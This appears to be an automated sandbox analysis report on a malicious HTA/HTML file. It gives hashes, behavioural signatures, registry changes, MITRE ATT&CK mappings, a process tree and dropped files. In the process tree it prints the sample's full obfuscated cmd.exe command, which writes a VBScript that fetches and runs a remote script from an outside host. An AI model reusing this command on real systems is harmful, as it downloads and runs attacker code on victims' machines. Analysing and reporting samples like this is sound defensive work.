2d76ec94e8679b9c9d2eb0f0819c9a6d42ba9bcfa423416885dfc2b933735987

Resubmissions

23-01-2024 09:55

240123-lx88nsaaf2 8

22-01-2024 16:15

240122-tqdr7aahc3 8

Analysis

max time kernel
138s
max time network
265s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
22-01-2024 16:15

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General

Target

2d76ec94e8679b9c9d2eb0f0819c9a6d42ba9bcfa423416885dfc2b933735987.hta.html
Size

7KB
MD5

f3ab9f8fe8995462c3245f10ed76ae4f
SHA1

6aa8e54760bcc9aa7402e75d7cb33011e0673f7f
SHA256

2d76ec94e8679b9c9d2eb0f0819c9a6d42ba9bcfa423416885dfc2b933735987
SHA512

68d097848803e6c9f009ee41da373b5ce1136e40c750c0c704a137ca1a11bd483dc1f06089e9eb9310b47ee7232ac6bc8ad6c302bbe064765f266efef579848b
SSDEEP

192:CzHyJ1AwYaKyJ0VmW98+n6z39EPHzyKQSOOUHdLqmTlphHBLmBdexU+4ur6kUjRd:CzyJ1pROT

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
19	1744	WScript.exe
21	1744	WScript.exe
23	1744	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 41 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31083854"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000d4d347bde384c849be64bb2f1c358fef00000000020000000000106600000001000020000000659c2788ed01d2e004362978bc14f22bac80b0b87ec4e55eddaec65d063514df000000000e8000000002000020000000033689a658725cfdc3fa3592ced93bc6e6c9b9604516446792accbcdd89f83df20000000666aa86c23bf9ff1e4938771d81139ac9e19f7377fcddc585cc5fb1db6c4fd44400000007c8e33c333770ee711db315917f13cd4e6951f411e20128526888fdc81344abe0fd56aefc1b5a4b0bcc6e7271dc8d085cbabcef7aad4f244f5ae7b1a2f8ffdba	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\VersionManager	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31083854"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\IESettingSync\SlowSettingTypesChanged = "2"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLLowDateTime = "1251635200"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000d4d347bde384c849be64bb2f1c358fef0000000002000000000010660000000100002000000096b719921246106c87c9ba690896c5570f92c7544985092ce1211a5c638cb712000000000e8000000002000020000000375fe10c9264a6ec0c27237c4b2d4ca33479abbd37d2d3e78292f46b1c9e81322000000073522b23e6520100fce640fb83eb782fb1a84902d094c39c384232c3fd2e3d35400000004205f7549ab7cacf0b90104143b2faa40e12c8e6a3c1989e77ef3d532e3988ad0ef4026c9d4929515447930e99ca18445e3513be0e5ea2242ec1f5e89b7b28ad	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "31083854"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "412705121"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "1321162160"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "1423973882"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{7A10A32E-B941-11EE-B6AD-527BFEDB591A} = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\GPU\AdapterInfo = "vendorId=\"0x10de\",deviceID=\"0x8c\",subSysID=\"0x0\",revision=\"0x0\",version=\"10.0.19041.546\"hypervisor=\"No Hypervisor (No SLAT)\""	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLHighDateTime = "50"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\IESettingSync	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 307a04574e4dda01	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 204e6d574e4dda01	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\GPU	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "1321162160"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\VersionManager	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000_Classes\Local Settings	cmd.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3924	iexplore.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
3924	iexplore.exe
3924	iexplore.exe
3452	IEXPLORE.EXE
3452	IEXPLORE.EXE
3452	IEXPLORE.EXE
3452	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3924 wrote to memory of 3452	3924	iexplore.exe	87
PID 3924 wrote to memory of 3452	3924	iexplore.exe	87
PID 3924 wrote to memory of 3452	3924	iexplore.exe	87
PID 3452 wrote to memory of 4248	3452	IEXPLORE.EXE	92
PID 3452 wrote to memory of 4248	3452	IEXPLORE.EXE	92
PID 3452 wrote to memory of 4248	3452	IEXPLORE.EXE	92
PID 4248 wrote to memory of 888	4248	cmd.exe	94
PID 4248 wrote to memory of 888	4248	cmd.exe	94
PID 4248 wrote to memory of 888	4248	cmd.exe	94
PID 888 wrote to memory of 1744	888	cmd.exe	96
PID 888 wrote to memory of 1744	888	cmd.exe	96
PID 888 wrote to memory of 1744	888	cmd.exe	96

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" C:\Users\Admin\AppData\Local\Temp\2d76ec94e8679b9c9d2eb0f0819c9a6d42ba9bcfa423416885dfc2b933735987.hta.html
1⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3924
- C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
  "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3924 CREDAT:17410 /prefetch:2
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3452
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /V/D/c EcHo Z5ceEsS49="." : FunctIon Tji57(H27N20):NiF24 = Array(":","t","r","c","1"):Tji57 = NiF24(H27N20):end function :: fm6fciL34 = "S"+ Tji57(3) +"rip"+ Tji57(1) + Tji57(0) + "hT"+ Tji57(1) +"ps://contdlk"+Z5ceEsS49+"bounceme"+Z5ceEsS49+"net/g1":eval("Ge"+ Tji57(1) +"Obje"+ Tji57(3)+ Tji57(1) +"(fm6fciL34)") > nul > C:\Users\Public\^dmpRBh785.vbs&c:\\windows\\system32\\cmd.exe /c start C:\\Users\\Public\\dmpRBh785.vbs
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4248
  - - \??\c:\windows\SysWOW64\cmd.exe
      c:\\windows\\system32\\cmd.exe /c start C:\\Users\\Public\\dmpRBh785.vbs
      4⤵
      Checks computer location settings
      Modifies registry class
      Suspicious use of WriteProcessMemory
      PID:888
    - - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Public\dmpRBh785.vbs"
        5⤵
        Blocklisted process makes network request
        
        PID:1744

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776

Filesize
471B

MD5
00c810ad5af9bb1ffa13d83698695136

SHA1
356ae631a77f5b6039531fd01904a27e8d64fd3c

SHA256
646abae3e23a04a2e487d6811e6fa2f65666e86f650baefcd821f45737165854

SHA512
b7335f7b5f9a36999e5eb128f839ad8566c50ef9922f19ddff691266c745faa72a8ecedc97de3e91aa7be7e99df3c4928660f147aa1c9dd76361eb2eb2b1c3fc

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C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776

Filesize
404B

MD5
68e0995a42b11c83a04a97ab2b499487

SHA1
3c26e2b2e2fce59b1c19b11e59f256ed389d8fb0

SHA256
cf2594f79e4e6476c94ce77934d2b1c3af8db189099cb61bf6235d0045480f96

SHA512
2e82c22a1d099d3e84fcc134edef4576729e6af59df5161683fa63bf9d48a458c5eaf8f427bcd412ce3ad39df420fad35d90d40b3303b614cee57a839e3e376a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\L3T8W3B4\suggestions[1].en-US

Filesize
17KB

MD5
5a34cb996293fde2cb7a4ac89587393a

SHA1
3c96c993500690d1a77873cd62bc639b3a10653f

SHA256
c6a5377cbc07eece33790cfc70572e12c7a48ad8296be25c0cc805a1f384dbad

SHA512
e1b7d0107733f81937415104e70f68b1be6fd0ca65dccf4ff72637943d44278d3a77f704aedff59d2dbc0d56a609b2590c8ec0dd6bc48ab30f1dad0c07a0a3ee

Download Submit
C:\Users\Public\dmpRBh785.vbs

Filesize
306B

MD5
154b54da0532f06d78997442ad648d45

SHA1
1087a477ec4815eade97d338743ce63361e5f09b

SHA256
4f72eeaf5d050f5077a82782d7dfbceed38448b1569836f8b0550dcd3080574d

SHA512
64bc9c808251aa272352cef3d74620974f962fbc5d511474a8f8ea0393aa43a76a0ebf8b3877d5f3ccaa4b9c7e25c98793b0cad8928d68cc4a0a9bcc99c5fe2c

Download Submit